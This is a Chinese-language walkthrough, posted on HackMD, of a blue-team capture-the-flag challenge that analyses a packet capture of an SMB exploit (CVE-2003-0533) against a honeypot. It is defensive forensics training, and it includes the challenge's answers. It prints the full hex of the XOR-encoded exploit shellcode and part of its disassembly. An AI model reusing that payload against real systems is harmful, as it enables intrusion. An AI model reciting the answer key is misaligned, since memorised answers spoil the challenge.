sujelala
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # HoneyBOT Blue Team Challenge :::success https://cyberdefenders.org/blueteam-ctf-challenges/45#nav-overview ::: :::info A PCAP analysis exercise highlighting attacker's interactions with honeypots and how automatic exploitation works.. (Note that the IP address of the victim has been changed to hide the true location.) As a soc analyst, analyze the artifacts and answer the questions. Tools: BrimSecurity NetworkMiner Wireshark Libemu (sctest) scdbg IP LookUp ::: #### 1. What is the attacker's IP address? ``` 98.114.205.102 ``` 檢視封包內容,Server端192.150.11.111,有開445(SMB),攻擊者來源為98.114.205.102。 ![截圖 2023-12-04 下午2.38.30](https://hackmd.io/_uploads/rkVgNgiH6.jpg) ![截圖 2023-12-04 下午2.38.44](https://hackmd.io/_uploads/BJN-VlsBa.jpg) #### 2. What is the target's IP address? ``` 192.150.11.111 ``` 承上題,Server端192.150.11.111。 #### 3. Provide the country code for the attacker's IP address (a.k.a geo-location). ``` US ``` geoip查詢結果為US ![截圖 2023-12-04 下午2.40.53](https://hackmd.io/_uploads/HJrYEgjrp.jpg) 參考資料: https://www.maxmind.com/en/geoip-demo #### 4. How many TCP sessions are present in the captured traffic? ``` 5 ``` 利用Conversations來檢視TCP,可以看到有5個session ![截圖 2023-12-04 下午2.53.47](https://hackmd.io/_uploads/BkOYPlorT.jpg) #### 5. How long did it take to perform the attack (in seconds)? ``` 16 ``` 封包時間為16秒 ![截圖 2023-12-04 下午2.55.52](https://hackmd.io/_uploads/rJUWuesHT.jpg) #### 7. Provide the CVE number of the exploited vulnerability. ``` CVE-2003-0533 ``` 檢視protocol發現有DCE/RPC ![截圖 2023-12-04 下午3.27.31](https://hackmd.io/_uploads/SkE_JZira.jpg) filter過濾decrpc後會看到關鍵字DsRoleUpgradeDownlevelServer ![截圖 2023-12-04 下午3.29.05](https://hackmd.io/_uploads/SJbC1WsHp.jpg) 搜尋 「DsRoleUpgradeDownlevelServer CVE 2003」 之後會看到CVE-2003-0533(MS04-011) ![截圖 2023-12-04 下午3.31.46](https://hackmd.io/_uploads/HyADlbiSp.jpg) 參考資料: https://vuldb.com/zh/?id.599 #### 8. Which protocol was used to carry over the exploit? ``` SMB ``` 承上題,使用SMB協定 #### 9. Which protocol did the attacker use to download additional malicious files to the target system? ``` ftp ``` follow tcp 可以發現在封包44後有利用ftp傳檔 ![截圖 2023-12-04 下午4.34.46](https://hackmd.io/_uploads/S1FV1Gorp.jpg) #### 10. What is the name of the downloaded malware? ``` smss.exe ``` 承上題 #### 11. The attacker's server was listening on a specific port. Provide the port number. ``` 8884 ``` 承上上題 #### 12. When was the involved malware first submitted to VirusTotal for analysis? Format: YYYY-MM-DD ``` 2007-06-27 ``` 封包72可以看到MZ開頭的執行檔內容,follow tcp後另存成smss.exe檔 ![截圖 2023-12-04 下午4.54.06](https://hackmd.io/_uploads/Sys3QfoBa.jpg) ![截圖 2023-12-04 下午4.53.02](https://hackmd.io/_uploads/r1yK7fiHp.jpg) 上傳到virustotal檢測,可以看到first submitted時間 ![截圖 2023-12-04 下午4.52.27](https://hackmd.io/_uploads/B1w8mMsHa.jpg) #### 13. What is the key used to encode the shellcode? ``` 0x99 ``` 搜尋得知CVE-2003-0533是利用區溢位攻擊的一個CVE,檢視封包內容後發現在tcp.stream eq 1可以看到疑似區溢位攻擊的行為。 ![截圖 2023-12-05 上午11.30.48](https://hackmd.io/_uploads/rJDutfnH6.jpg) 擷取之來的區溢位攻擊如下 :::warning eb105a4a33c966b97d0180340a99e2faeb05e8ebffffff7095989999c3fd38a999999912d99512e9853412d991124112eaa512ed87e19a6a12e7b99a6212d78daa74cfcec812a69a62126bf397c06a3fed91c0c61a5e9ddc7b70c0c6c7125412dfbd9a5a48789a58aa50ff129112df859a5a58789b9a5812999a5a1263126e1a5f971249f39ac0711e9999991a5f94cbcf66ce65c31241f39cc071ed999999c9c9c9c9f398f39b66ce7512415e9e9b999e3caa5910de9df389ceca66ce69f398ca66ce6dc9c9ca66ce6112491a75dd126daa59f389c0109d177b6210cfa110cfa510cfd9ff5edfb5989814de89c9cfaa50c8c8c8f398c8c85edea5faf4fd9914dea5c9c866ce79cb66ce65ca66ce65c966ce7daa59351c59ec60c8cbcfca664bc3c0327b77aa595a7176676666defcedc9ebf6fad8fdfdebfceaea99daebfcf8edfcc9ebf6fafceaead899dce1f0edcdf1ebfcf8fd99d5f6f8fdd5f0fbebf8ebe0d899eeeaabc6aaab99cecad8caf6faf2fcedd899fbf0f7fd99f5f0eaedfcf799f8fafafce9ed99faf5f6eafceaf6faf2fced99 ::: 利用線上Assembler and Disassembler工具進行解碼,可以看到利用0x99進行XOR編碼。 ![截圖 2023-12-05 上午11.52.38](https://hackmd.io/_uploads/H1mc0fnHa.jpg) 擷取出來的攻擊shellcode如下: ```! 0x0000000000000000: EB 10 jmp 0x12 0x0000000000000002: 5A pop rdx 0x0000000000000003: 4A 33 C9 xor rcx, rcx 0x0000000000000006: 66 B9 7D 01 mov cx, 0x17d 0x000000000000000a: 80 34 0A 99 xor byte ptr [rdx + rcx], 0x99 0x000000000000000e: E2 FA loop 0xa 0x0000000000000010: EB 05 jmp 0x17 0x0000000000000012: E8 EB FF FF FF call 2 0x0000000000000017: 70 95 jo 0xffffffffffffffae 0x0000000000000019: 98 cwde 0x000000000000001a: 99 cdq 0x000000000000001b: 99 cdq 0x000000000000001c: C3 ret 0x000000000000001d: FD std 0x000000000000001e: 38 A9 99 99 99 12 cmp byte ptr [rcx + 0x12999999], ch 0x0000000000000024: D9 95 12 E9 85 34 fst dword ptr [rbp + 0x3485e912] 0x000000000000002a: 12 D9 adc bl, cl 0x000000000000002c: 91 xchg eax, ecx 0x000000000000002d: 12 41 12 adc al, byte ptr [rcx + 0x12] ``` 參考資料: https://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=488b59e0f6430f01740d49baa0d27672a57f000041ff23554889e556574883ec&arch=x86-64&endianness=little&dis_with_addr=True&dis_with_raw=True&dis_with_ins=True #### 14. What is the port number the shellcode binds to? ``` 1957 ``` 區溢位攻擊之後可以看到攻擊者對1957 port進行連線。 ![截圖 2023-12-05 下午12.11.01](https://hackmd.io/_uploads/SyVyXX2BT.jpg) 可以用工具scdbg執行針對shellcode分析, ![截圖 2023-12-05 下午1.54.14](https://hackmd.io/_uploads/rkMMi43Ha.jpg) #### 15. The shellcode used a specific technique to determine its location in memory. What is the OS file being queried during this process? ``` kernel32.dll ``` 承上題,可以看到shellcode執行過程會一直執行GetProcAddress,查詢後可以知道他是kernel32.dll的一個function ![截圖 2023-12-05 下午2.15.33](https://hackmd.io/_uploads/rJzMgB3Sa.jpg) 參考資料: https://learn.microsoft.com/zh-tw/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully